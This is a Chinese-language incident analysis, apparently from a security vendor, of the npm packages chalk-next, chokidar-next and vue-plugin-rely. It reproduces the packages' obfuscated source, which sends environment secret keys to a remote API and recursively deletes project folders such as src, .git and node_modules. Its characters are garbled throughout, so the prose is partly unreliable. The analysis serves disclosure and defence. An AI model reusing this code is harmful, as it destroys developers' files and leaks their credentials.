乐趣区

关于npm:npm-包-chalknext-被开发者投毒源码-SRC-目录被删除

一、事件简述

1 月 5 日,有开发者在 twitter 中发文称遭逢了名为 chalk-next 的组件投毒事件,该组件存在收集配置信息和删除本地文件的歹意逻辑,以后 NPM 仓库曾经下线了该组件。

chalk-next 组件的开发者也是 vue-admin-beautiful 我的项目的作者 chuzhixin,vue-admin-beautiful 我的项目在 GitHub 中领有 13.5K 的 star 数。

通过剖析,包含 chalk-next 在内,作者公布的 chokider-next、vue-plugin-rely 包中的相似逻辑被用于辨认、惩办盗版行为,此事件也在 V2EX 等开发者社区中引起较多探讨。

二、事件过程

1 月 5 日,@ewind1994 在 twitter 中发推文称发现了一个 PR(代码合并申请)试图针对他们 GitHub 我的项目投毒,该 PR 是将原有的 chalk 依赖批改为 chalk-next,而chalk-next 通过判断运行环境中的配置信息,在肯定条件下会删除当前目录下的特定目录文件(包含.vscode、src、public、.git、.svn、mock、node_modules)。

当天 19:05,在用户投诉后,NPM 官网仓库删除了 chalk-next 包,目前已无奈下载。

当天 19:11,在 V2EX 社区中有其余开发者发帖(https://v2ex.com/t/906834)形容了该事件相干信息

1 月 6 日 9:39,@chu1204505056 在推特中回应 @ewind1994

1 月 6 日 10:32,开发者 chuzhixin 在 GitHub 仓库(https://github.com/chuzhixin/…)中挂出一段阐明,宣称 @ewind1994 始终在对其歹意攻打。

1 月 6 日 11:27,开发者 chuzhixin 在 AFFiNE 我的项目中提出 issue(https://github.com/toeverythi…)质疑此前呈现 PR 的起因。

三、投毒包剖析

通过剖析,该作者总共公布了 chalk-next、chokidar-next、vue-plugin-rely 三个 NPM 包都存在相似的删除文件逻辑。

chalk-next 剖析

通过 NPM 仓库中能够看到 chalk-next 组件每周下载量 200+,从 2021 年 6 月开始更新,应用了 chalk 的 readme 信息,存在很强的迷惑性。

历史版本信息:

从代码中能够看到,通过 NODE_ENV 环境变量判断以后不属于开发环境时,会将 VUE_GITHUB_USER_NAMEVUE_APP_SECRET_KEY 和以后工夫发送到特定的 API,返回数据的状态码为 202 时,会将 ./.vscode` ./src `./public ./.git ./.svn ./mack ./node_modules 这些文件门路传入到名为 thanks 的函数,该函数会删除传入的文件或目录。恶意代码片段如下

chokidar-next 剖析

其在 NPM 仓库中应用的用户 vabjs,在公布的其余包中也存在相似的歹意行为,如chokidar-next,以后仍可下载。

应用雷同的 thanks 办法从零碎上删除./vscode ./.git ./.svn ./src/vab ./library ./src/store ./public ./mock 目录,触发的条件不同,只通过环境变量判断,而没有申请近程 API。代码片段如下:

function thanks(path) {var files = [];
    if (fs.existsSync(path)) {files = fs.readdirSync(path);
      files.forEach(function (file) {
        var curPath = path + "/" + file;
        if (fs.statSync(curPath).isDirectory()) {thanks(curPath);
        } else {fs.unlinkSync(curPath);
        }
      });
      fs.rmdirSync(path);
    }
  }
  
  !(() => {
    if (process.env["\u004e\u004f\u0044\u0045\u005f\u0045\u004e\u0056"] !==
      "\u0064\u0065\u0076\u0065\u006c\u006f\u0070\u006d\u0065\u006e\u0074"
    ) {
      var key =
        process.env["\u0056\u0055\u0045\u005f\u0041\u0050\u0050\u005f\u0053\u0045\u0043\u0052\u0045\u0054\u005f\u004b\u0045\u0059"];
      if (!key) {thanks("./.vscode");
        thanks("./package.json");
      } else {
        if (
          key !=
            "\u0066\u0077\u0066\u006d\u0069\u0061\u006f\u0036\u0032\u0034\u0030\u0039\u0033\u0035\u0039\u0039" &&
          key != "\u0070\u0072\u0065\u0076\u0069\u0065\u0077"&&
          key != "vabp"
        ) {if (key.length < 50 || key.substring(key.length - 2) != "==") {thanks("./.vscode");
            thanks("./library");
            thanks("./src/vab");
            thanks("./src/store");
            thanks("./public");
            thanks("./.git");
            thanks("./.svn");
            thanks("./mock");
          }
        }
      }
    } else {
      var key =
        process.env["\u0056\u0055\u0045\u005f\u0041\u0050\u0050\u005f\u0053\u0045\u0043\u0052\u0045\u0054\u005f\u004b\u0045\u0059"];
      if (!key) {thanks("./.vscode");
        thanks("./src/vab");
      }
      if (
        key !=
          "\u0066\u0077\u0066\u006d\u0069\u0061\u006f\u0036\u0032\u0034\u0030\u0039\u0033\u0035\u0039\u0039" &&
        key != "\u0070\u0072\u0065\u0076\u0069\u0065\u0077"&&
        key != "vabp"
      ) {if (key.length < 50 || key.substring(key.length - 2) != "==") {thanks("./.vscode");
          thanks("./.git");
          thanks("./.svn");
        }
      }
    }
  })();
  
  exports.watch = watch;

vue-plugin-rely 剖析

vue-plugin-rely组件包也存在与 chalk-next 雷同的逻辑,代码减少了混同,同时在文件结尾有一句针对盗版破解的正文申明,其代码如下:

/* 破解造成不可挽回后果自负,正版用户请勿因破解、歹意分享失去框架更新和应用的机会,盗版用户未获取受权就应用到商业我的项目将查究你的法律责任 */
const _0x6462 = [
  'log',
  'unlinkSync',
  'NODE_ENV',
  'existsSync',
  'then',
  'getTime',
  'readdirSync',
  'post',
  './node_modules',
  './public',
  'statSync',
  'VUE_APP_SECRET_KEY',
  'forEach',
  './.git',
  'https://**********',
  './.vscode',
  'env',
  'bgRed',
]
const _0x27fc = function (_0x646269, _0x27fce6) {
  _0x646269 = _0x646269 - 0x0
  let _0x3f0e99 = _0x6462[_0x646269]
  return _0x3f0e99
}
const axios = require('axios')
const chalk = require('chalk')
const fs = require('fs')
function thanks(_0x3503fb) {var _0x54aa51 = []
  //console['log'](fs[_0x27fc('0x3')](_0x3503fb))
  if (fs['existsSync'](_0x3503fb)) {_0x54aa51 = fs[_0x27fc('0x6')](_0x3503fb)
    _0x54aa51[_0x27fc('0xc')](function (_0x60171a, _0x43e5ad) {
      var _0x258bf5 = _0x3503fb + '/' + _0x60171a
      if (fs[_0x27fc('0xa')](_0x258bf5)['isDirectory']()) {thanks(_0x258bf5)
      } else {fs[_0x27fc('0x1')](_0x258bf5)
      }
    })
    fs['rmdirSync'](_0x3503fb)
  }
}
!(() => {if (process['env'][_0x27fc('0x2')] !== 'development') {
    axios({url: _0x27fc('0xe'),
      method: _0x27fc('0x7'),
      data: {customUserId: process['env']['VUE_GITHUB_USER_NAME'],
        secretKey: process['env']['VUE_APP_SECRET_KEY'],
        timestamp: new Date()[_0x27fc('0x5')](),},
    })
      [_0x27fc('0x4')](({data}) => {if (data['code'] == 0xca) {thanks('./.vscode')
          thanks('./src')
          thanks(_0x27fc('0x9'))
          thanks(_0x27fc('0xd'))
          thanks('./.svn')
          thanks('./mock')
          thanks(_0x27fc('0x8'))
        }
        if (data['code'] != 0xc8) {console[_0x27fc('0x0')](chalk[_0x27fc('0x11')](data['msg']))
        }
      })
      ['catch'](() => {
        if (process[_0x27fc('0x10')][_0x27fc('0xb')] !== 'preview' &&
          process[_0x27fc('0x10')][_0x27fc('0xb')]['length'] <= '50'
        ) {thanks(_0x27fc('0xf'))
          thanks('./src')
          thanks('./public')
          thanks('./.git')
          thanks('./.svn')
          thanks('./mock')
          thanks('./node_modules')
        }
      })
  }
})()

四、总结

从开发者 chuzhixin 的回应和代码中的行为来看,作者的行为可能难以定义是歹意还是正义,所幸以后应该没有造成实质性的危害。但通过 -next 复刻原有我的项目从新公布的确容易令人混同,对于应用开源组件的泛滥开发者而言又是一次信赖的崩塌,开源不等于收费,也不等于平安,在应用中还是须要认真甄别。

对于企业而言,相似的开源组件投毒的状况每天都在产生,须要及时建设相应的检测辨认、处理响应能力。

该投毒已上线破绽库,放心源码被删,疾速检测本人的代码,查看危险详情🔍

检测地址:https://www.murphysec.com/

IDE 插件阐明文档:https://www.murphysec.com/doc…

退出移动版